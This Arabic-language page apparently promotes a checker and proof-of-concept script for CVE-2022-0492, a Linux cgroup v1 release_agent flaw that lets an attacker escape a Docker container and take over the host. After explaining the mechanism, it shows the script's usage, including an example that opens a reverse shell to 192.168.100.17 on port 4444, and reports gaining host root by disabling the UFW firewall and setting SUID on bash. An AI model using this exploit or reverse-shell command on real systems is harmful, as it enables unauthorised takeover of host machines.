
مدقق اختراق Docker و PoC عبر CAP_SYS_ADMIN وعبر user namespaces (CVE-2022-0492)
يتطلب استغلال الثغرة أن يكون لدى المهاجم إمكانية الوصول إلى حاوية Docker تعمل على نظام قابل للاستغلال. بمجرد استغلالها، يمكن للمهاجم الهروب من الحاوية والحصول على سيطرة كاملة على النظام المضيف.
تم العثور على ثغرة في دالة cgroup_release_agent_write في ملف kernel/cgroup/cgroup-v1.c في نواة لينكس. يسمح هذا الخلل، في ظل ظروف معينة، باستخدام ميزة release_agent لـ cgroups الإصدار 1 لتصعيد الامتيازات وتجاوز عزل مساحات الأسماء بشكل غير متوقع.
بشكل أبسط، تحتوي cgroups الإصدار 1 على ميزة تسمى release_agent تقوم بتشغيل برنامج عند إنهاء عملية في المجموعة. إذا تم تمكين notify_on_release، تقوم النواة بتشغيل الملف الثنائي release_agent كجذر. من خلال تحرير ملف release_agent، يمكن للمهاجم تنفيذ ملفه الثنائي الخاص بامتيازات مرتفعة، والاستيلاء على النظام. ومع ذلك، فإن ملف release_agent مملوك للجذر، لذا لا يمكن تعديله إلا لمستخدم لديه صلاحيات الجذر.
# sh CVE-2022-0492.sh
[>] CVE-2022-0492 Docker Container Escape V
[>] Execute this script in a Docker to check for vulnerability or to exploit it. (º___\/{
[>] Usage:
sh CVE-2022-0492.sh --checker Verify if system is vulnerable.
sh CVE-2022-0492.sh -c|--command <COMMAND> Execute command on host machine.
sh CVE-2022-0492.sh -h|--help Print the help panel.
[>] Example:
sh CVE-2022-0492.sh --command 'bash -c "bash -i >& /dev/tcp/192.168.100.17/4444 0>&1"'
تم اختراق المستخدم الجذر في الجهاز المضيف عن طريق تعطيل UFW ثم إرسال شل عكسي.

تم اختراق المستخدم الجذر في الجهاز المضيف عن طريق تعيين SUID إلى bash، وكذلك إرسال شل عكسي.
